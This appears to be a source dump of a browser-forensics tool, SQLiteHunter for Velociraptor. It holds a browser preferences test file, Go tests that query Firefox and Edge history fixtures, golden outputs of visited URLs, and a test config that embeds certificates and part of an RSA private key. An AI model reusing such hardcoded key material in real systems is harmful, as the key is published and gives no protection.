785 | "priority_preferences": false,
786 | "reading_list": false,
787 | "saved_tab_group": false,
788 | "search_engines": false,
789 | "security_events": false,
790 | "segmentation": false,
791 | "send_tab_to_self": false,
792 | "sessions": false,
793 | "sharing_message": false,
794 | "themes": false,
795 | "user_consent": false,
796 | "user_events": false,
797 | "web_apps": false,
798 | "webauthn_credential": false,
799 | "wifi_configurations": false,
800 | "workspace_desk": false
801 | },
802 | "feature_status_for_sync_to_signin": 1
803 | },
804 | "tracking_protection": {
805 | "tracking_protection_3pcd_enabled": false
806 | },
807 | "translate_site_blacklist": [],
808 | "translate_site_blocklist_with_time": {},
809 | "updateclientdata": {
810 | "apps": {
811 | "ghbmnnjooekpmoecnnnilnnbdlolhkhi": {
812 | "cohort": "1::",
813 | "cohortname": "",
814 | "dlrc": 6230,
815 | "installdate": 6220,
816 | "pf": "3395f09a-c80c-4e31-85be-c9fad00d6acc"
817 | },
818 | "nmmhkkegccagdldgiimedpiccmgmieda": {
819 | "cohort": "1::",
820 | "cohortname": "",
821 | "dlrc": 6230,
822 | "installdate": 6220,
823 | "pf": "103fc6ea-35a5-4ae6-a1be-c908ef400a7b"
824 | }
825 | }
826 | },
827 | "web_apps": {
828 | "daily_metrics": {
829 | "https://developercommunity.visualstudio.com/": {
830 | "background_duration_sec": 0,
831 | "captures_links": false,
832 | "effective_display_mode": 3,
833 | "foreground_duration_sec": 0,
834 | "installed": false,
835 | "num_sessions": 0,
836 | "promotable": true
837 | }
838 | },
839 | "daily_metrics_date": "13350384000000000",
840 | "did_migrate_default_chrome_apps": [
841 | "MigrateDefaultChromeAppToWebAppsGSuite",
842 | "MigrateDefaultChromeAppToWebAppsNonGSuite"
843 | ],
844 | "error_loaded_policy_apps_migrated": true,
845 | "last_preinstall_synchronize_version": "120",
846 | "migrated_default_apps": [
847 | "aohghmighlieiainnegkcijnfilokake",
848 | "aapocclcgogkmnckokdopfmhonfmgoek",
849 | "felcaaldnbdncclmgdcncolpebgiejap",
850 | "apdfllckaahabafndbhieahigkjlhalf",
851 | "pjkljhegncpnkpknbcohdijeoejaedia",
852 | "blpcfgokakmgnkcojhhkbfbldkacnbeo"
853 | ]
854 | },
855 | "zerosuggest": {
856 | "cachedresults": ")]}'\n[\"\",[\"palworld controversy\",\"nazare big wave\",\"billy joel\",\"storm isha weather warnings\",\"luke mcilveen daily mail\",\"palworld coal\",\"harry brook cricket\",\"wwe 2k24 deluxe edition\"],[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],[],{\"google:clientdata\":{\"bpc\":false,\"tlw\":false},\"google:groupsinfo\":\"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\\u003d\",\"google:suggestdetail\":[{\"zl\":10002},{\"zl\":10002},{\"google:entityinfo\":\"CggvbS8wYl9qMhImQW1lcmljYW4gc2luZ2VyLXNvbmd3cml0ZXIgYW5kIHBpYW5pc3QyswtkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQUx3TUJJZ0FDRVFFREVRSC94QUFjQUFFQkFBSURBUUVBQUFBQUFBQUFBQUFHQndRRkFnTUlBUUQveEFCQkVBQUJBd0lEQlFNSEJSRUFBQUFBQUFBQkFnTUVBQkVGQnlFR0VoTXhVVUZoc2hRbk1uR3hzOEVYSXlSemtSVVdJaVkwUWtOaWNvR0NnNU9ob3FQUy84UUFHQUVBQXdFQkFBQUFBQUFBQUFBQUFBQUFBQUVFQXdML3hBQWRFUUFDQWdFRkFBQUFBQUFBQUFBQUFBQUFBUUlSSVFNU0V6RkIvOW9BREFNQkFBSVJBeEVBUHdCOXRubVJnMnlrd1FYMHV5Wm03dkxhYUlIREI1YnhVUno3cjBPbDU4UngrUTRBNDUxNDB4S1BZRlZQODZWRTVrWXpjOGxNai9RM1FwQi9kUUJlSStlckJUOUoyZWVRcm8xTFN2MnBGY1ZaN05wVU43Wnh3SXZ6TXdYOEZSQnRYSzFaS1ZYRmpxRDJVRExMOHZNVyt1eno5dTZXbi9tazJ4R2FFRGEzR1B1VzFoMHFJK1dWT3BVNHBLa2tKSXVORHoxNlY1cGZiNGE3RGtkUlQzSXMyekNpanF3NzRhZEhObURuV2ZPUmpQN1RQdUc2REpOTjg2ejV5OFpIZXo3aHVoMFdPcDFTYjZKUEk5YVRPbGs1eDIzSFZoRFNWTFYwU0xtbEdCYktTOFViVXBNdU93VWVraFlKVWtkYmFlMnUvQWNMYWs4SnVPc3N1RFVsSnNmdHBoSGRpTjdTZVRTUWh2eWhnc0wzYjJzUjE2MWhMVWZoVERSWGNpWVkvQ1hoMHd4WFZwV3BJQ2tyU0xieVRmczdPVks4akQ1eElmMUQzZ05hZk1wb1I5cW5XMHFDazhGdXhISTZXMCt5dHRrWWZPTkMrb2U4QnJlTHVOazAxVW1qRXpxQk9adU0vd0FqM0RkRG9ycTBXQkozVW5RZEtjWjFORkdabUtxUDZSREN4L1NTUGhRWktRRjg5TDYwTUlpN1oyUUhWb0lYWlFQVzFLc1BqczRoaTRFaUVncWFJdHZxVWI2OW9BUFgrOVRGaGIwWmU4MFNEenB2aHVZTVdJaEx6a2R4Y2hBSDRLZEFwWGVlbFpiTWxITFNwbW56QWI4cjJ1bmhrSlJ3bHBaS1B6UVFCZTNkY210OWtwaHN5TG1IRGNmWVVsQVplQlZjRWVnYUp5WnJ1SlRaTTZSYmlTbkZQS0E1QXFKTmhWVHltVXBXMFVRcjFVV1ZYUDhBQ2ExV0ZSTzNic01aK0k0T1lRV2JmT3dtbGp2MVVQaFU2dGMyQnNvY2llMFY2ZHpBeThpYld6R3BxeTZtU2hvTkJhSDkzZFNDVDZKU1FyVlhkNjZDREkyY3RSQ01hRFk3T05FSEwxcGNQd29FUjF3TFExZEtsQWRBZEJYVXNhSkE3VFZ0K1FlWHVEOFkyTjYrbzhpTnJldmZyNk1oNU54ZmFKaTNiOUNPbitkQXlVeGszS1VEdElUOEtyV1ZwSDMxUmtwNUJ0ZmhOZmtaREszdm5OcEVGUDZzQTM5NVN6WUhMS0xzZmlqbUpmZEZ5WklVeVdrM2E0YVVna0VtMXpycFFJLy8yUT09OgpCaWxseSBKb2VsSgcjNDI0MjQyUjJnc19zc3A9ZUp6ajR0RFAxVGRJaXM4eU1tRDA0a3JLek1tcFZNaktUODBCQUVqRkJ0WXACcAY\\u003d\",\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"google:entityinfo\":\"Cg0vZy8xMWNwNWwwX3psEhFFbmdsaXNoIGNyaWNrZXRlcjLbEGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWFBQUVBQXdFQkFRQUFBQUFBQUFBQUFBQUdBd1VIQkFJQi84UUFOeEFBQVFNREFnTUdCUUFLQXdBQUFBQUFBUUlEQkFBRkVSSWhCaE14SWtGUllYSFJGSUdSb2JFVkl6UkNRM09TbGVIeEZrUnkvOFFBRndFQkFRRUJBQUFBQUFBQUFBQUFBQUFBQWdFQUEvL0VBQ0FSQUFJQ0FRTUZBQUFBQUFBQUFBQUFBQUFCQWhFaE1VRlJBeElpTXZELzJnQU1Bd0VBQWhFREVRQS9BTzFLOXV0cCtieXZhcEE0Z0pCeGFjZnpsKzFTSWNXQiswTi8yNCs5Yy9JZVNlemRwYWV6anN4RmZYclhOM3NOVTlUeklsR08ydDV0TnNXcENTVUJDMXFPcnUyMjIrZFp6L3lPNXlIM0xpVk5tWTI2bFlKYkJBMzJHUER1K2RQVk55WG5Gd3Bjc3FiZEg2bDR4OUN0WG43Wm9EY2JHOVpGVExaY09VcDlXQzI0MHNxU3NkeE8yMitldmhWaTAxazFPT2hxSENzcEUrS3E1eUdXMFNuZ2tMSUJ3QnBHd0hobk5TOFEzWlVLRWo0V0lsNTE1V2pDdXlFYmRUUkd4Y1ZzMkMxb2p1SlU4RWFTb3BPRDAzSUdOOFk4UlY3eFVoNjhRbzZJU05UdVE2MHB4UlJzUjEraHA3V2liMHd2YnI1Y1lOeW1pMXN4bkVvQ0VxUzZuT3JBM0lPM2ZuN1VoNHB1YUpqVU5sdENVb2ViRHVyR2NFamJhakt1R09KWEdDeWpEWU9RUmdnRWV1bXBMdEJ1MHZsc1JvcnEvaEdnMjdvUnF3TjhESFgvQUhXandXVFRkalJ0cVFmNGw3SHJwOXE5OHVRUDRsNytxZmF2Z2hFZjlLUjg1NDk2OHVRVkVmc0Q1OWJoL21nRXM0TENub2JqVHlaYTBsZVFaSkdyUGlENVVNNGdjZGJseTRyenhDY2FDZ2diakhYUHpwNUVROElpQVd3MHJHQWtyQjArOUg3MjB5dTVKVFBpSlVHM0F0SjFiT0pLY2IrTy9kNUR4cVRWb2ZUbDJzTHp1R2hib1Z0bU54bE9vVTJuVzRzNUtWTEpLZmwyc2V1SzBsaUtod1JYVzNzTGl0cWI1YWhuVnNCa0hQbDk2aGpUSTdzUXR2NkRrRWFGYmcrVlZNMll1SzZoS2NnYThiZHllby9OYjF5R1VteERxZUNqMk51N2ZlaDkwNGhlaHRPSVk1SWVNdDNXaFN3RkpBVnNTT3ZTdS9pZTYzYUJhbXBkcmpJZjFuRGlpTlhLSGpwSFh1OUt6cGJyTWVUY3BFeFRsem5PcElhVWh2T0NSdXBRSFRmQXhYVkx1eFpFNjhxR1h4TVZ0R1JhNEk4dFI5NkF5ZUpidkh1QVhLanNzY2w3ZExMWTBqeXp2bjYwOGszR0U0aDFMYTRlUzN0cGhhZC9YRzFaanhGTzU5Mm1KYlVDeVgxS1NBZ0pHYytIZDZVRWpESzA4Zm90c2xiY2xMOGxEdUZBb0l5aytHQ2UrcmhQRlVMaVdVSWtkaDlxUWhCV2ptYWUxanFCZ25mZjdHZ3ZEazhzSUtHSTdEYnJhZTFLZFgwQlBUb2NaMkczZ0tZY0xNeWJoTmRqeXBEVElMZXRBaHBDRDFPU3JzRGJiODBaV3ZHaHR4YnRzNjRraElsc3hTdjljVGpTcmIweFY4WXI2N1lqNG5sS2xhRk5xVWxlZXlrOWc3OTVHTStmalZYSHRURVBpQWxsYnIzSmpaV1hkOHJXcnM0OHdFTC9BS2hTaUE2MStqbE9LN2VzRldmRVZveGRVd1RhdkFFdS9HclA2RjVFWmg5UFBDZzJWRWRrYmVmdlJTSmQ0N0c0azNCb25xbHRDVkQ2bFEvRlNjUU1aZ3R1ODNXdHR3NjhnQW5WMy9XanBOUHB6ZFlOT0NUbzF5Uk81MFI4Smx6Vmx3SENUSHdDTzdlczU0bmFoSXVUMGxhbHlISG5scVdvblRqd0dQR3RBWUxaWVNXeWtwSTJ4UUhpSzN2UFRYRXROZ3FDeW9qUFFZSnF4Q3lQaDV1UElZazdja2FraFhWUkEzSTc2MVBncHRKczRrQUo1NmxLYTFZL2RDcy9rL2Fzd3RNQ1ZibVpMa2xBUnEwRHJrN1pKK3hyVzBMUncvd3d5cVFraGJiS1N0T2Q5YXYzZlVxVmluSkp4WDNJVmlSd1RYVGIxUGN0d3FsU0hpNFRuT2hJd2xQMlNQdWF1NFRxcFZ1WHBTRlBhU2VXTURVZnhSaXdSSDdyQmRldXVVVFErc0tMU3RnRGhTUjhnY2VQU3FleVgyUkpmbFJtbkMydUtwUVVBZFFPQ1IzZ2VGY2JhWjB3RStKMHZSN280dytsYlpBR1cxYkhPL2RWUUZEUFduNnVPNGQyai9CM0tLM0pHRHkrZXdsZURqYkdlaHFvbTI2NlhPSEdZRVpwSWpsUlNleW5BVUJ0dC81RmFOSkpGZVhaLzlrPToLSGFycnkgQnJvb2tKByM0MjQyNDJSRWdzX3NzcD1lSnpqNHRWUDF6YzBUQzR3elRHSXI4b3hZUFFTemtnc0txcFVTQ3JLejg5V1NDN0tUTTVPTFFFQTBFRU1IZ3AGcAc\\u003d\",\"zl\":10002},{\"zl\":10002}],\"google:suggestrelevance\":[1257,1256,1255,1254,1253,1252,1251,1250],\"google:suggestsubtypes\":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308]],\"google:suggesttype\":[\"QUERY\",\"QUERY\",\"ENTITY\",\"QUERY\",\"QUERY\",\"QUERY\",\"ENTITY\",\"QUERY\"]}]"
857 | }
858 | }
859 |
--------------------------------------------------------------------------------
/test_files/Edge/WebAssistDatabase:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/attachedbroo/SQLiteHunter/a2bf6ad4d949687cbd5c1050d941b7813a52b699/test_files/Edge/WebAssistDatabase
--------------------------------------------------------------------------------
/test_files/Firefox/firefox.sqlite:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/attachedbroo/SQLiteHunter/a2bf6ad4d949687cbd5c1050d941b7813a52b699/test_files/Firefox/firefox.sqlite
--------------------------------------------------------------------------------
/testing/.gitignore:
--------------------------------------------------------------------------------
1 | velociraptor.bin
--------------------------------------------------------------------------------
/testing/edge.go:
--------------------------------------------------------------------------------
1 | package testing
2 |
3 | import (
4 | "os"
5 | "path/filepath"
6 |
7 | "github.com/Velocidex/ordereddict"
8 | "github.com/alecthomas/assert"
9 | "github.com/sebdah/goldie/v2"
10 | )
11 |
12 | func (self *SQLiteHunterTestSuite) TestEdgeWebAssistDatabase() {
13 | t := self.T()
14 |
15 | cwd, err := os.Getwd()
16 | assert.NoError(t, err)
17 |
18 | golden := ordereddict.NewDict()
19 | argv := []string{
20 | "--definitions", "../output",
21 | "query", `LET S = scope()
22 |
23 | SELECT *, "" AS OSPath
24 | FROM Artifact.Generic.Forensic.SQLiteHunter(
25 | FilterRegex=S.FilterRegex,
26 | MatchFilename=FALSE, All=FALSE, Edge=TRUE, CustomGlob=CustomGlob)
27 | `, "--env", "CustomGlob=" + filepath.Join(cwd, "../test_files/Edge/WebAssistDatabase")}
28 |
29 | out, err := runWithArgs(argv, "--env", "FilterRegex=Audio")
30 | golden.Set("FilterRegex=Audio", filterOut(out))
31 |
32 | g := goldie.New(t,
33 | goldie.WithFixtureDir("fixtures"),
34 | goldie.WithNameSuffix(".golden"),
35 | goldie.WithDiffEngine(goldie.ColoredDiff),
36 | )
37 | g.AssertJson(t, "TestEdgeWebAssistDatabase", golden)
38 | }
39 |
--------------------------------------------------------------------------------
/testing/fixtures/TestArtifact.golden:
--------------------------------------------------------------------------------
1 | {
2 | "All Records": [
3 | "[][",
4 | " {",
5 | " \"LastVisitDate\": \"2020-06-27T09:29:54.51375Z\",",
6 | " \"URL\": \"https://www.mozilla.org/privacy/firefox/\",",
7 | " \"Description\": null,",
8 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
9 | " },",
10 | " {",
11 | " \"LastVisitDate\": \"2020-06-27T09:30:05.721357Z\",",
12 | " \"URL\": \"http://github.com/seanbreckenridge/dotfiles\",",
13 | " \"Description\": null,",
14 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
15 | " },",
16 | " {",
17 | " \"LastVisitDate\": \"2020-06-30T05:53:37.171Z\",",
18 | " \"URL\": \"https://www.mozilla.org/en-US/firefox/78.0a2/firstrun/\",",
19 | " \"Description\": \"Firefox Developer Edition is the blazing fast browser that offers cutting edge developer tools and latest features like CSS Grid support and framework debugging\",",
20 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
21 | " },",
22 | " {",
23 | " \"LastVisitDate\": \"2021-02-21T08:55:10.488Z\",",
24 | " \"URL\": \"https://www.mozilla.org/en-US/privacy/firefox/\",",
25 | " \"Description\": \"\\n Our Privacy Notices describe the data our products and services receive, share, and use, as well as choices available to you.\\n\",",
26 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
27 | " }",
28 | "]"
29 | ],
30 | "After 2021-02-20T08:55:10.488Z should be only 2021-02-21T08:55:10.488Z": [
31 | "[][",
32 | " {",
33 | " \"LastVisitDate\": \"2021-02-21T08:55:10.488Z\",",
34 | " \"URL\": \"https://www.mozilla.org/en-US/privacy/firefox/\",",
35 | " \"Description\": \"\\n Our Privacy Notices describe the data our products and services receive, share, and use, as well as choices available to you.\\n\",",
36 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
37 | " }",
38 | "]"
39 | ],
40 | "DateBefore=2020-06-27T09:30:00Z should be only 2020-06-27T09:29:54.51375Z": [
41 | "[][",
42 | " {",
43 | " \"LastVisitDate\": \"2020-06-27T09:29:54.51375Z\",",
44 | " \"URL\": \"https://www.mozilla.org/privacy/firefox/\",",
45 | " \"Description\": null,",
46 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
47 | " }",
48 | "]"
49 | ],
50 | "FilterRegex=Firefox Developer Edition": [
51 | "[][",
52 | " {",
53 | " \"LastVisitDate\": \"2020-06-30T05:53:37.171Z\",",
54 | " \"URL\": \"https://www.mozilla.org/en-US/firefox/78.0a2/firstrun/\",",
55 | " \"Description\": \"Firefox Developer Edition is the blazing fast browser that offers cutting edge developer tools and latest features like CSS Grid support and framework debugging\",",
56 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"",
57 | " }",
58 | "]"
59 | ]
60 | }
--------------------------------------------------------------------------------
/testing/fixtures/TestEdgeWebAssistDatabase.golden:
--------------------------------------------------------------------------------
1 | {
2 | "FilterRegex=Audio": [
3 | "[][",
4 | " {",
5 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/AllFiles\",",
6 | " },",
7 | " {",
8 | " \"ID\": 2,",
9 | " \"Last Visited Time\": \"2023-08-27T11:00:53Z\",",
10 | " \"Title\": \"How to Record Audio on Windows 10\",",
11 | " \"URL\": \"https://www.lifewire.com/how-to-record-audio-on-windows-10-4773840\",",
12 | " \"VisitCount\": 1,",
13 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Edge Browser Navigation History_Navigation History\",",
14 | " }",
15 | "]"
16 | ]
17 | }
--------------------------------------------------------------------------------
/testing/golden.go:
--------------------------------------------------------------------------------
1 | package testing
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 |
8 | "github.com/alecthomas/assert"
9 | )
10 |
11 | func (self *SQLiteHunterTestSuite) TestGolden() {
12 | t := self.T()
13 |
14 | cwd, err := os.Getwd()
15 | assert.NoError(t, err)
16 |
17 | test_files, err := filepath.Abs(filepath.Join(cwd, "../test_files/"))
18 | assert.NoError(t, err)
19 |
20 | config_file, err := filepath.Abs(filepath.Join(cwd, "test.config.yaml"))
21 | assert.NoError(t, err)
22 |
23 | test_cases, err := filepath.Abs(filepath.Join(cwd, "./testcases/"))
24 | assert.NoError(t, err)
25 |
26 | argv := []string{
27 | "--definitions", "../output",
28 | "--config", config_file,
29 | "golden", "--env", "testFiles=" + test_files, test_cases,
30 | }
31 |
32 | out, err := runWithArgs(argv)
33 | assert.NoError(t, err, string(out))
34 |
35 | fmt.Println(string(out))
36 | }
37 |
--------------------------------------------------------------------------------
/testing/sqlitehunter_test.go:
--------------------------------------------------------------------------------
1 | package testing
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "net/http"
7 | "os"
8 | "os/exec"
9 | "path/filepath"
10 | "strings"
11 | "testing"
12 |
13 | "github.com/Velocidex/ordereddict"
14 | "github.com/alecthomas/assert"
15 | "github.com/sebdah/goldie/v2"
16 | "github.com/stretchr/testify/require"
17 | "github.com/stretchr/testify/suite"
18 | )
19 |
20 | const (
21 | VelociraptorUrl = "https://github.com/Velocidex/velociraptor/releases/download/v0.7.0/velociraptor-v0.7.0-4-linux-amd64-musl"
22 | VelociraptorBinaryPath = "./velociraptor.bin"
23 | )
24 |
25 | type SQLiteHunterTestSuite struct {
26 | suite.Suite
27 | }
28 |
29 | func (self *SQLiteHunterTestSuite) SetupSuite() {
30 | self.findAndPrepareBinary()
31 | }
32 |
33 | func (self *SQLiteHunterTestSuite) findAndPrepareBinary() {
34 | t := self.T()
35 |
36 | _, err := os.Lstat(VelociraptorBinaryPath)
37 | if err != nil {
38 | fmt.Printf("Downloading %v from %v\n", VelociraptorBinaryPath,
39 | VelociraptorUrl)
40 | resp, err := http.Get(VelociraptorUrl)
41 | assert.NoError(t, err)
42 | defer resp.Body.Close()
43 |
44 | // Create the file
45 | out, err := os.OpenFile(VelociraptorBinaryPath,
46 | os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0700)
47 | assert.NoError(t, err)
48 | defer out.Close()
49 |
50 | // Write the body to file
51 | _, err = io.Copy(out, resp.Body)
52 | assert.NoError(t, err)
53 | }
54 | }
55 |
56 | func (self *SQLiteHunterTestSuite) TestFirefoxHistory() {
57 | t := self.T()
58 |
59 | cwd, err := os.Getwd()
60 | assert.NoError(t, err)
61 |
62 | golden := ordereddict.NewDict()
63 | argv := []string{
64 | "--definitions", "../output",
65 | "query", `LET S = scope()
66 |
67 | SELECT LastVisitDate, URL, Description, _Source
68 | FROM Artifact.Generic.Forensic.SQLiteHunter(
69 | DateBefore=S.DateBefore || "2200-10-10",
70 | DateAfter=S.DateAfter || "1900-01-01",
71 | FilterRegex=S.FilterRegex || ".",
72 | MatchFilename=FALSE, All=FALSE, Chrome=TRUE, CustomGlob=CustomGlob)
73 | WHERE VisitID
74 | `, "--env", "CustomGlob=" + filepath.Join(cwd, "../test_files/Firefox/*")}
75 |
76 | // This file has these dates:
77 | // 2020-06-27T09:29:54.51375Z
78 | // 2020-06-27T09:30:05.721357Z
79 | // 2020-06-30T05:53:37.171Z
80 | // 2021-02-21T08:55:10.488Z
81 | out, err := runWithArgs(argv)
82 | require.NoError(t, err, out)
83 |
84 | golden.Set("All Records", filterOut(out))
85 |
86 | out, err = runWithArgs(argv,
87 | "--env", "DateAfter=2021-02-20T08:55:10.488Z")
88 | assert.NoError(t, err, out)
89 |
90 | golden.Set("After 2021-02-20T08:55:10.488Z should be only 2021-02-21T08:55:10.488Z",
91 | filterOut(out))
92 |
93 | out, err = runWithArgs(argv, "--env", "DateBefore=2020-06-27T09:30:00Z")
94 | assert.NoError(t, err, out)
95 |
96 | golden.Set("DateBefore=2020-06-27T09:30:00Z should be only 2020-06-27T09:29:54.51375Z",
97 | filterOut(out))
98 |
99 | out, err = runWithArgs(argv,
100 | "--env", "FilterRegex=Firefox Developer Edition")
101 | golden.Set("FilterRegex=Firefox Developer Edition",
102 | filterOut(out))
103 |
104 | g := goldie.New(t,
105 | goldie.WithFixtureDir("fixtures"),
106 | goldie.WithNameSuffix(".golden"),
107 | goldie.WithDiffEngine(goldie.ColoredDiff),
108 | )
109 | g.AssertJson(t, "TestArtifact", golden)
110 | }
111 |
112 | func TestSQLiteHunter(t *testing.T) {
113 | suite.Run(t, &SQLiteHunterTestSuite{})
114 | }
115 |
116 | func filterOut(out string) []string {
117 | res := []string{}
118 |
119 | for _, line := range strings.Split(out, "\n") {
120 | if !strings.Contains(line, "OSPath") {
121 | res = append(res, line)
122 | }
123 | }
124 | return res
125 | }
126 |
127 | func runWithArgs(argv []string, args ...string) (string, error) {
128 | full_argv := append(argv, args...)
129 |
130 | fmt.Printf("Running %v %v\n", VelociraptorBinaryPath,
131 | strings.Join(full_argv, " "))
132 | cmd := exec.Command(VelociraptorBinaryPath, full_argv...)
133 | out, err := cmd.CombinedOutput()
134 | return string(out), err
135 | }
136 |
--------------------------------------------------------------------------------
/testing/test.config.yaml:
--------------------------------------------------------------------------------
1 | Client:
2 | server_urls:
3 | - https://127.0.0.1:8/
4 | ca_certificate: |
5 | -----BEGIN CERTIFICATE-----
6 | MIIDKjCCAhKgAwIBAgIQF6ez0Fecf/sHLEfqHttIqTANBgkqhkiG9w0BAQsFADAa
7 | MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjAwNDIzMTQ0MTQxWhcNMjEw
8 | NDIzMTQ0MTQxWjAaMRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwggEiMA0GCSqG
9 | SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpbwXY9CZLac92jfM5YhRdmmpsv9doq37v
10 | cMzDzGr6c87ZtllgESZcV1K3+84ANJ5+gaIm2UiBjzKFzJusb2czdS/RjPpXEfo+
11 | bGIQZebkd5J3VB8Ua/rV1Zof5lkMAsp48fXLyvX2hA9ikX8eX28EY1ljRUKrhqdy
12 | dl8tiVUja/t2E2y7E/YZv6LcLqlhSIXvsLsh9cKKDk6HnduklV9JavASPt7cp7Yh
13 | hNdA6/rUYa0liHMPWK3HAXM6ta0Zq4X25ab3XSBZblKNHS1KRjm4ecawIFeunv8t
14 | ZQuU5YTvEwb0R9Bh3raHY/pftQdAYUD30CyKDfjQ/Hfb6Bw2bxP3AgMBAAGjbDBq
15 | MA4GA1UdDwEB/wQEAwICpDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIw
16 | DwYDVR0TAQH/BAUwAwEB/zAoBgNVHREEITAfgh1WZWxvY2lyYXB0b3JfY2EudmVs
17 | b2NpZGV4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAnSGIT4Ye3eM8XCzQxbW6WUgq
18 | ZnNuVhTT416wQwOZNS5PB8BbuvFAjdhodOLjkW7a+yqZUhQeJe9Qvguvorwg3e9d
19 | Ce9R3M8zuneaysbWRTgk24qCyRHJiSwk53Ib5XU6EizXfcAknF4E5dxD29pZEeAv
20 | 628ornxcXCbFf84bsg9RR3EQqP8jRP51U8gq7f53fBItyfMWc5mCfbeT/R4mLFmO
21 | 4phrW5noltASmCCVYFriYHoLlgGk2XKcTUsPsvSRrLh5vnUgIx0qNIgiVA2MsZN/
22 | SCUPwj30oV0+YVdQczi39M9KTQSRRPEyXbFj+VOfbvFeHiYqe8NucXdmpiUisQ==
23 | -----END CERTIFICATE-----
24 | nonce: dJYj7skxHgw=
25 | writeback_linux: /tmp/foo.yaml
26 | writeback_windows: c:/tmp/foo.yaml
27 | writeback_darwin: /tmp/foo.yaml
28 |
29 | GUI:
30 | bind_address: 0.0.0.0
31 | bind_port: 8889
32 | gw_certificate: |
33 | -----BEGIN CERTIFICATE-----
34 | MIIDDTCCAfWgAwIBAgIRAKEBXjC7StzR7Z7pr/LhyF4wDQYJKoZIhvcNAQELBQAw
35 | GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDQyMzE0NDE0MloXDTIx
36 | MDQyMzE0NDE0MlowKTEVMBMGA1UEChMMVmVsb2NpcmFwdG9yMRAwDgYDVQQDDAdH
37 | UlBDX0dXMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlc585ijmL/8P
38 | yTJendUje2/fpMJhz0V/gRyclYvFu7VAUg66qQfTVbX6SzNNQQzu8xN9Xxoy2TxG
39 | wcwX4FOW3N0q5kRVbHf7O1ZvhYX4nD6wvp81p6qscApPtPQvE0VnqtKrWL7rZ1S5
40 | vR6thT0DvE7ujyoylSZ4bqG1uhy38qHkJ1n/o/ZxQnOSzJDg2ljPxWQ3ybJSqB5j
41 | 8TG8ntOOw++tv1ZtAsSLeO9IhZQGxeSJBsAMvwWXGBYI71Xi+xaOBRuz4meIVFwn
42 | DDzSgua3Fy6DONyWRXC9WhUv0cD406HTKmrIOIG5D0UltU8Lr4qJfxdSWRraYbb9
43 | JhbUhgNjmwIDAQABoz8wPTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYB
44 | BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEB
45 | ACIXZUtYT3Iy0VHCQahddSb/P+rY3URgTkGj8w+nxOQzovRUB3gFeckrqyD3zdyd
46 | Oj4Ep8cGFfh7lVH0itkM0m75tzURlQaHgjRGsZQjmXlsYgwExZv9yf9FlA9QWwwr
47 | sX/aZ8TUjR3X30RMILQNO6uNEs+r7HMIq6ObgGd2hxwBgxBWeGwQXbKymOfOaY2S
48 | iM+dHQfpnGOhdGrRyNxMuCQ0+n6BrE6PLiVBYVpckgeTekVoMjbt2WvnMZCNfWzR
49 | w+9PcAOZ1mDOqRvapoMVLPUJ37V4pDW/LS0isxGoMezMouVfIpSloFw6gVIjv0NN
50 | 80KXGYIEdOOLlhfPXPP/R9A=
51 | -----END CERTIFICATE-----
52 | gw_private_key: |
53 | -----BEGIN RSA PRIVATE KEY-----
54 | MIIEogIBAAKCAQEAlc585ijmL/8PyTJendUje2/fpMJhz0V/gRyclYvFu7VAUg66
55 | qQfTVbX6SzNNQQzu8xN9Xxoy2TxGwcwX4FOW3N0q5kRVbHf7O1ZvhYX4nD6wvp81
56 | p6qscApPtPQvE0VnqtKrWL7rZ1S5vR6thT0DvE7ujyoylSZ4bqG1uhy38qHkJ1n/
